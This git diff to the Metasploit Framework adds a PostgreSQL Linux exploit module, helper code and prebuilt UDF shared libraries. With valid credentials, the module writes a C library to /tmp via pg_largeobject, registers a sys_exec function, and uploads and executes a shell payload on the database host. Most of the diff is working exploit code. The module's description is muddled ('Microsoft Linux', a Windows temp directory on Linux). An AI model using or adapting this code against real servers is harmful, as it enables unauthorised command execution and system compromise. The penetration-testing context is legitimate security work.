diff --git a/data/exploits/postgres/8.2/32/lib_postgresqludf_sys.so b/data/exploits/postgres/8.2/32/lib_postgresqludf_sys.so new file mode 100755 index 0000000000..ce33ad34e6 Binary files /dev/null and b/data/exploits/postgres/8.2/32/lib_postgresqludf_sys.so differ diff --git a/data/exploits/postgres/8.2/64/lib_postgresqludf_sys.so b/data/exploits/postgres/8.2/64/lib_postgresqludf_sys.so new file mode 100755 index 0000000000..02e7e09bac Binary files /dev/null and b/data/exploits/postgres/8.2/64/lib_postgresqludf_sys.so differ diff --git a/data/exploits/postgres/8.3/32/lib_postgresqludf_sys.so b/data/exploits/postgres/8.3/32/lib_postgresqludf_sys.so new file mode 100755 index 0000000000..eb20b094ea Binary files /dev/null and b/data/exploits/postgres/8.3/32/lib_postgresqludf_sys.so differ diff --git a/data/exploits/postgres/8.3/64/lib_postgresqludf_sys.so b/data/exploits/postgres/8.3/64/lib_postgresqludf_sys.so new file mode 100755 index 0000000000..5dd842a4b5 Binary files /dev/null and b/data/exploits/postgres/8.3/64/lib_postgresqludf_sys.so differ diff --git a/data/exploits/postgres/8.4/32/lib_postgresqludf_sys.so b/data/exploits/postgres/8.4/32/lib_postgresqludf_sys.so new file mode 100755 index 0000000000..9e07a823ff Binary files /dev/null and b/data/exploits/postgres/8.4/32/lib_postgresqludf_sys.so differ diff --git a/data/exploits/postgres/8.4/64/lib_postgresqludf_sys.so b/data/exploits/postgres/8.4/64/lib_postgresqludf_sys.so new file mode 100755 index 0000000000..80eec1a745 Binary files /dev/null and b/data/exploits/postgres/8.4/64/lib_postgresqludf_sys.so differ diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index fa0b32f3fd..94081c47b0 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -1,4 +1,3 @@ -# -*- coding: binary -*- require 'msf/core' module Msf @@ -12,6 +11,7 @@ module Msf module Exploit::Remote::Postgres require 'postgres_msf' + require 'base64' include Msf::Db::PostgresPR attr_accessor :postgres_conn @@ -264,7 +264,7 @@ module Exploit::Remote::Postgres read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT); COPY #{temp_table_name} FROM '#{filename}'; SELECT * FROM #{temp_table_name}} - read_return = postgres_query(read_query) + read_return = postgres_query(read_query,true) end def postgres_has_database_privilege(priv) @@ -288,21 +288,35 @@ module Exploit::Remote::Postgres return true end + # Creates the function sys_exec() in the pg_temp schema. + def postgres_create_sys_exec_linux(so) + q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable" + resp = postgres_query(q); + if resp[:sql_error] + print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}" + return false + end + return true + end + + # This presumes the pg_temp.sys_exec() udf has been installed, almost # certainly by postgres_create_sys_exec() def postgres_sys_exec(cmd) + print_status "Attempting to Execute: #{cmd}" q = "select pg_temp.sys_exec('#{cmd}')" resp = postgres_query(q) if resp[:sql_error] - print_error resp[:sql_error] + print_error "SQL Bomb #{resp[:sql_error]}" return false end return true end + # Takes a local filename and uploads it into a table as a Base64 encoded string. # Returns an array if successful, false if not. - def postgres_upload_binary_file(fname) + def postgres_upload_binary_file_linux(fname) data = postgres_base64_file(fname) tbl,fld = postgres_create_stager_table return false unless data && tbl && fld @@ -312,11 +326,87 @@ module Exploit::Remote::Postgres print_error resp[:sql_error] return false end - oid, fout = postgres_write_data_to_disk(tbl,fld) + oid, fout = postgres_write_data_to_disk_linux(tbl,fld) return false unless oid && fout return [tbl,fld,fout,oid] end + # Takes a local filename and uploads it into a table as a Base64 encoded string. + # Returns an array if successful, false if not. + def postgres_upload_binary_file(fname) + data = postgres_base64_file(fname) + tbl,fld = postgres_create_stager_table + return false unless data && tbl && fld + q = "insert into #{tbl}(#{fld}) values('#{data}')" + resp = postgres_query(q) + if resp[:sql_error] + print_error resp[:sql_error] + return false + end + oid, fout = postgres_write_data_to_disk(tbl,fld) + return false unless oid && fout + return [tbl,fld,fout,oid] + end + + def postgres_upload_binary_file_elf(fname) + data = Base64.encode64(fname) + tbl,fld = postgres_create_stager_table + return false unless data && tbl && fld + q = "insert into #{tbl}(#{fld}) values('#{data}')" + resp = postgres_query(q) + if resp[:sql_error] + print_error resp[:sql_error] + return false + end + oid, fout = postgres_write_data_to_disk_elf(tbl,fld) + return false unless oid && fout + return [tbl,fld,fout,oid] + end + + + + # Writes b64 data from a table field, decoded, to disk. + def postgres_write_data_to_disk_elf(tbl,fld) + oid = rand(60000) + 1000 + fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + queries = [ + "select lo_create(#{oid})", + "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", + "select lo_export(#{oid}, '#{fname}')" + ] + queries.each do |q| + resp = postgres_query(q) + if resp && resp[:sql_error] + print_error "Could not write the library to disk." + print_error resp[:sql_error] + break + end + end + return oid,fname + end + + + # Writes b64 data from a table field, decoded, to disk. + def postgres_write_data_to_disk_linux(tbl,fld) + oid = rand(60000) + 1000 + fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so" + queries = [ + "select lo_create(#{oid})", + "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", + "select lo_export(#{oid}, '#{fname}')" + ] + queries.each do |q| + resp = postgres_query(q) + if resp && resp[:sql_error] + print_error "Could not write the library to disk." + print_error resp[:sql_error] + break + end + end + return oid,fname + end + + # Writes b64 data from a table field, decoded, to disk. def postgres_write_data_to_disk(tbl,fld) oid = rand(60000) + 1000 @@ -343,6 +433,12 @@ module Exploit::Remote::Postgres [data].pack("m*").gsub(/\r?\n/,"") end + def postgres_base64_elf(data) + #data = File.open(fname, "rb") {|f| f.read f.stat.size} + [data].pack("m*").gsub(/\r?\n/,"") + end + + # Creates a temporary table to store base64'ed binary data in. def postgres_create_stager_table tbl = Rex::Text.rand_text_alpha(8).downcase diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb new file mode 100644 index 0000000000..14f38cd20f --- /dev/null +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -0,0 +1,170 @@ +### +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Postgres + + # Creates an instance of this module. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PostgreSQL for Microsoft Linux Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the UPDATE pg_largeobject method of binary injection. On + default Microsoft Linux installations of PostgreSQL (=< 8.4), the postgres + service account may write to the Windows temp directory, and may source + UDF Shared Libraries's from there as well. + + PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on are valid targets for this module. + + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF SO and the OID. + }, + 'Author' => + [ + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', + 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL + ] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 0x65535, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + } + }, + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on XXX + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper. + + )) + + register_options( + [ + OptString.new('BITS',[true,'32/ 64 bit OS',32]) + ],self.class) + + + deregister_options('SQL', 'RETURN_ROWSET') + end + + # Buncha stuff to make typing easier. + def username; datastore['USERNAME']; end + def password; datastore['PASSWORD']; end + def database; datastore['DATABASE']; end + def verbose; datastore['VERBOSE']; end + def rhost; datastore['RHOST']; end + def rport; datastore['RPORT']; end + def bits; datastore['BITS'];end + + def execute_command(cmd, opts) + postgres_sys_exec(cmd) + end + + def exploit + version = get_version(username,password,database,verbose) + case version + when :nocompat; print_error "Authentication successful, but not a compatable version." + when :noauth; print_error "Authentication failed." + when :noconn; print_error "Connection failed." + end + return unless version =~ /8\.[234]/ + print_status "Authentication successful and vulnerable version #{version} on Linux confirmed." + tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version)) + unless tbl && fld && so && oid + print_error "Could not upload the UDF SO" + return + end + + print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})" + ret_sys_exec = postgres_create_sys_exec_linux(so) + if ret_sys_exec + if @postgres_conn + print_status "Success" + + tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode) + unless tbl && fld && myexploit && oid + print_error "Could not upload the PAYLOAD" + return + end + print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})" + postgres_sys_exec("chmod 755 #{myexploit}") + postgres_sys_exec("#{myexploit}") + handler + postgres_logout if @postgres_conn + else + print_error "Lost connection." + return + end + end + postgres_logout if @postgres_conn + + end + + def so_fname(version) + print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so" + File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so") + end + + # A shorter version of do_fingerprint from the postgres_version scanner + # module, specifically looking for versions that valid targets for this + # module. + def get_version(user=nil,pass=nil,database=nil,verbose=false) + begin + msg = "#{rhost}:#{rport} Postgres -" + password = pass || postgres_password + vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") + result = postgres_fingerprint( + :db => database, + :username => user, + :password => password + ) + if result[:auth] + # So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4 + # This also checks to see if it was compiled with a windows-based compiler -- + # the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw) + # Also, the method to write files to disk doesn't appear to work on 9.0, so + # tabling that version for now. + #if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i + if result[:auth] =~ /PostgreSQL (8\.[234]).*/i + return $1 + else + print_status "Found #{result[:auth]}" + return :nocompat + end + else + return :noauth + end + rescue Rex::ConnectionError + vprint_error "#{rhost}:#{rport} Connection Error: #{$!}" + return :noconn + end + end + +end